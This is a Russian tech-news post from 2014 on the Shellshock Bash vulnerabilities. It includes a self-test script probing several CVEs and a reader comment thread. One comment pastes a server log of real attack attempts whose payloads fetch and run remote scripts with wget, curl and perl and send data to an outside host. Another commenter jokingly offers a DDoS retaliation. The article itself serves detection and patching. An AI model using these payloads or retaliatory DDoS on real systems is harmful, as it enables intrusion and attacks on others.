Linux поставили на колени: целая серия уязвимостей наивысшего класса опасности в Bash
В командной оболочке Bash снова найдены ошибки, делающие возможным удаленное выполнение произвольного кода. Уязвимостей в этот раз сразу несколько, но всех их объединяет одно — наивысший класс опасности (10 из 10 по шкале NIST).
Проверить свою систему на уязвимость можно с помощью следующего кода:
#!/bin/bash
r=`x="() { :; }; echo x" bash -c ""`
if [ -n "$r" ]; then
echo -e '\033[91mVulnerable to CVE-2014-6271 (original shellshock)\033[39m'
else
echo -e '\033[92mNot vulnerable to CVE-2014-6271 (original shellshock)\033[39m'
fi
cd /tmp;rm echo 2>/dev/null
X='() { function a a>\' bash -c echo 2>/dev/null > /dev/null
if [ -e echo ]; then
echo -e "\033[91mVulnerable to CVE-2014-7169 (taviso bug)\033[39m"
else
echo -e "\033[92mNot vulnerable to CVE-2014-7169 (taviso bug)\033[39m"
fi
bash -c "true $(printf '</dev/null
if [ $? != 0 ]; then
echo -e "\033[91mVulnerable to CVE-2014-7186 (redir_stack bug)\033[39m"
else
echo -e "\033[92mNot vulnerable to CVE-2014-7186 (redir_stack bug)\033[39m"
fi
bash -c "`for i in {1..200}; do echo -n "for x$i in; do :;"; done; for i in {1..200}; do echo -n "done;";done`" 2>/dev/null
if [ $? != 0 ]; then
echo -e "\033[91mVulnerable to CVE-2014-7187 (nested loops off by one)\033[39m"
else
echo -e "\033[96mTest for CVE-2014-7187 not reliable without address sanitizer\033[39m"
fi
r=`a="() { echo x;}" bash -c a 2>/dev/null`
if [ -n "$r" ]; then
echo -e "\033[93mVariable function parser still active, likely vulnerable to yet unknown parser bugs like CVE-2014-6277 (lcamtuf bug)\033[39m"
else
echo -e "\033[92mVariable function parser inactive, likely safe from unknown parser bugs\033[39m"
fi
Если скрипт показывает наличие проблем, настоятельно рекомендуется незамедлительно принять меры по защите. Прежде всего, обновите дистрибутив через службу обновлений и запустите скрипт заново. Если ошибки повторятся, значит разработчик вашего дистрибутива не уделяет должного внимания вопросам безопасности и имеет смысл подумать о смене дистрибутива.
Альтернативным решением проблемы является временная смена Bash на другую командную оболочку.
Комментарии
pomodor
30 сентября, 2014 - 02:37
Мдяяя. Не думал, что скажу когда-нибудь такое, но похоже, что пора сдувать пыль с Вантуза. ;) Это же сколько говна еще вылезет, когда воодушевленные успехом каккеры начнут копать глубже.
Texnoline
30 сентября, 2014 - 07:00
Темные будут капать.....это и подавно!:(
А светлые — посмотрят на все — это «ЗЛО» и в очередной раз спасут IT-мир!;))))
pomodor
30 сентября, 2014 - 09:32
Светлые и темные? Мы сейчас точно о качестве программ, а не о сортах пива? ;)
Дыра существовала на протяжении многих лет и что-то никто не спасал. И это не какой-нибудь гламурный KDE для слюнтяев, а Bash — основа основ.
acpid
30 сентября, 2014 - 10:30
Зачем так торопиться )) Я рабочую машину на zsh перевел от греха подальше и остался очень доволен, в другое время руки так и не дошли бы попробовать этот замечательный шелл. А ещё о FreeBSD не надо забывать, там баша нет из коробки. Повезло, что сервера все на ней, поэтому меня в общем проблема обошла стороной :)
Ну а дома никаких публичных сервисов на машине не крутится, там достаточно штатного обновления.
pomodor
30 сентября, 2014 - 10:40
Тоже хотел, но эксперды с ЛОРа пишут, что пробовали и не получилось — слишком много системных скриптов именно под Баш написано. Вы просто установили zsh или еще и bash полностью снесли? Он же в зависимостях...
О домашнем компе речь вообще не идет. Все порты прикрыты, бэкапы закатаны, данные зашифрованы. Я только за свои сервера в интернете переживаю. И еще не знаю стоит ли переживать за домашний роутер. :)
А именно его я и имею ввиду, когда говорю, что может настать время, когда потребуется посмотреть в сторону альтернатив. :) К сожалению, говорят и в нем каку нашли, но эксплоиты второй волны в нем уже не срабатывали, в отличии от Линукса.
acpid
30 сентября, 2014 - 11:22
Bash полностью не сносил, сейчас попробовал, а и правда оказывается много пакетов от него зависят :( Но будем надеяться, что так всё равно лучше, чем пользоваться голым башем (удобней, это точно).
Чингачгук
30 сентября, 2014 - 06:16
Столько лет нам утвердили что Виндовз дырявая ОС. Называется ПРИЕХАЛИ. Все пропало, как теперь жить. ВИНДОВЗ-ГОВНО, ЛИНУКС-ГОВНО. Пойду руки на себя наложу. :(
pomodor
30 сентября, 2014 - 09:25
Не самый удачный момент для рукоблудства
Texnoline
30 сентября, 2014 - 06:40
Уважаемые комрады, без паники и не шагу назад,..поплотнее ряды...переживем и эту напасть! Кто хочет может сменить оболочку, кто мудрее сам накатит (будущий) патч!
Это не закат СПО, это всего лишь — вызов для всего сообщества, в наше тревожное время,...хотя если крысы бегут первыми с корабля, то «русские моряки» борются до последнего!
История знала множество фактов, когда только порыв и смелость у людей, позволяли выстоять, надеюсь что все таки - крыс меньше!:)
pomodor
30 сентября, 2014 - 09:58
Паниковать действительно не стоит, но и ждать пока «русские моряки» заштопают Linux тоже не вариант. И вообще, я не понимаю, откуда в Вас столько оптимизма? Если Вы когда-нибудь администрировали сервер с важными данными, то знаете, как неприятен момент, когда сообщение об уязвимости опубликовано, а заплатки еще нет. Раз в несколько лет такое пережить можно, но когда то тебе Heartbleed, то ShellShock, невольно задумаешься — не пора ли начать посматривать в сторону альтернатив.
Platon
30 сентября, 2014 - 11:18
надеюсь до «атаки мертвецов» не дойдет(кто не в курсе гуглите), т.е. нам не придется отражать натиск врага ценою собственных потерь.
А что, касается внезапно выявленных уязвимостей, то это очередной пусть кризисный, но этап эволюции, хуже, когда проблема есть, но её старательно маскируют — как это делают многие проприетарщики.
Возможно, есть причинно-следственная связь между переходом многих гос.структур на СПО и усилением его аудита.
Чингачгук
30 сентября, 2014 - 12:05
Проприетарщики тоже не просто так публикуют инфу об уязвимостях после их устранения. Это делается для того, чтобы было сложнее использовать опубликованную уязвимость. Поэтому MS перешла на выпуск обновлений по вторым вторникам месяца для всех своих ОСей — в т.ч. для того, чтобы выявленной уязвимостью было невозможно воспользоваться в старых версиях ОС. У Apple тоже подобный подход, емнип — не публиковать инфу об уязвимостях. Это имеет свой смысл, т.к. сейчас, после шума с ShellShock, только ленивый злоумышленник не попытается этим воспользоваться. Это хорошо, что на поддерживаемые дистрибутивы пришли заплатки, а сколько «мегаадминов» отключают обновления по принципу «Работает — не трожь», на каком количестве прошивок для устройств используется bash? Так что иногда публикация инфы об уязвимостях не есть хорошо.
Platon
30 сентября, 2014 - 14:20
Вчера обновился, прилетело много чего включая фиксы для bash, буквально только, что проверил на своем домашнем ноуте — все в норме, скрипт отработал и не выдал сообщений о обнаруженнии уязвимостей.
Чингачгук
30 сентября, 2014 - 18:16
Проверился, вроде у меня этой уязвимости нет. Неужто пофиксили?
pomodor
1 октября, 2014 - 01:07
;) Лог Апача чуть менее, чем полностью из попыток атаковать:
209.126.230.72 — - [25/Sep/2014:01:08:07 +0300] "GET / HTTP/1.0" 400 219 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 — - [25/Sep/2014:06:37:31 +0300] "GET / HTTP/1.0" 400 219 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 — - [25/Sep/2014:12:14:47 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 3246 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
24.251.197.244 — - [25/Sep/2014:14:17:13 +0300] "GET / HTTP/1.1" 200 59236 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
166.78.61.142 — - [25/Sep/2014:16:33:29 +0300] "GET / HTTP/1.1" 200 59270 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"
93.103.21.231 — - [26/Sep/2014:02:40:20 +0300] "GET / HTTP/1.1" 200 59144 "-" "() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://liberatum.ru/'"
93.103.21.231 — - [26/Sep/2014:03:42:13 +0300] "GET / HTTP/1.1" 200 59144 "-" "() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://liberatum.ru/'"
109.95.210.196 — - [26/Sep/2014:13:47:05 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 3211 "-" "() { :;}; /bin/bash -c \"/usr/bin/wget http://singlesaints.com/firefile/temp?h=liberatum.ru -O /tmp/a.pl\""
80.249.81.130 — - [26/Sep/2014:19:01:39 +0300] "GET / HTTP/1.1" 200 59536 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=liberatum.ru\""
83.166.234.133 — - [27/Sep/2014:07:16:41 +0300] "GET / HTTP/1.0" 200 59274 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://liberatum.ru/\""
62.189.67.107 — - [28/Sep/2014:10:38:10 +0300] "GET /cgi-bin/ HTTP/1.1" 404 3793 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 env x='() { :;}; echo date';echo catapulta"
212.185.113.174 — - [28/Sep/2014:14:28:57 +0300] "GET / HTTP/1.1" 200 84286 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 () { :;}; echo date';echo catapulta"
212.185.113.174 — - [28/Sep/2014:14:29:00 +0300] "GET / HTTP/1.1" 200 84269 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 () { (a)=>\\' bash -c 'echo catapulta';echo catapulta"
146.71.113.194 — - [29/Sep/2014:00:40:18 +0300] "GET /cgi-bin/helpme HTTP/1.0" 404 3246 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\""
93.103.21.231 — - [30/Sep/2014:21:29:00 +0300] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 3211 "-" "() { :;}; /usr/bin/wget http://taxiairportpop.com/s.php?s=http://liberatum.ru/cgi-sys/entropysearch.cgi"
Бедные обезьянки стараются, кто во что горазд. Ну а я пока соберу на автомате IP-адреса всякого мудачья для превентивной блокировки. ;)
Texnoline
1 октября, 2014 - 11:59
DDOS(ом) поддержать, Автор? Мудачье думаю оценит!?:) Правоверные линуксоиды скрипят зубами, Ррррр!
"Расчехлил" сегодня на своем пиратском корвете (т.е...на веб-ферме), стволы низкоорбитальных ионных пушек (модифицированный LOIC) и есть и другие в наличии методы "призвать к миру", только свистните, могу и пальнуть,..по неверным приматам!? Ёхо-хо,..хо и бутылка рома!;)
pomodor
2 октября, 2014 - 00:04
А Вы что, располагаете личным ботнетом? Да Вы опасный человек! ;) Спасибо за предложение, но пока пулять не по кому — для проведения атаки используются подставные взломанные ресурсы.
Intercessio
1 октября, 2014 - 20:15
Представляю всю степень горя с-ра pomidorium, когда он услышал такую
страшную новость о его любимом дистре.
Тем не менее, уверен, что Обслуживающие Вантуз просто не афишируют
подобные случаи, которых там предостаточно.
pomodor
1 октября, 2014 - 22:03
К сожалению, новость не о дырке в любимом дистрибутиве — это легко можно пережить — а о дырке во всех линуксах, включая те, которые жестко запилены в оборудование без возможности обновления.
Возможно, это и хорошо, что не афишируют. Если бы в Баше дырку сначала прикрыли и дождались появления заплатки во всех основных дистрибутивах, а уже потом балаболили, то и проблемы бы не было. А так каждый быдлокаккер теперь считает своим долгом просканировать как следует интернет на наличие дырявых компов.
Texnoline
1 октября, 2014 - 22:52
ну не во всех дистрах, да и фиксы уже пришли, проблема то локальна, как ни крути!?
pomodor
1 октября, 2014 - 23:15
Мало того, что во всех, так еще во Фряхе и даже в Mac OS.
Комментировать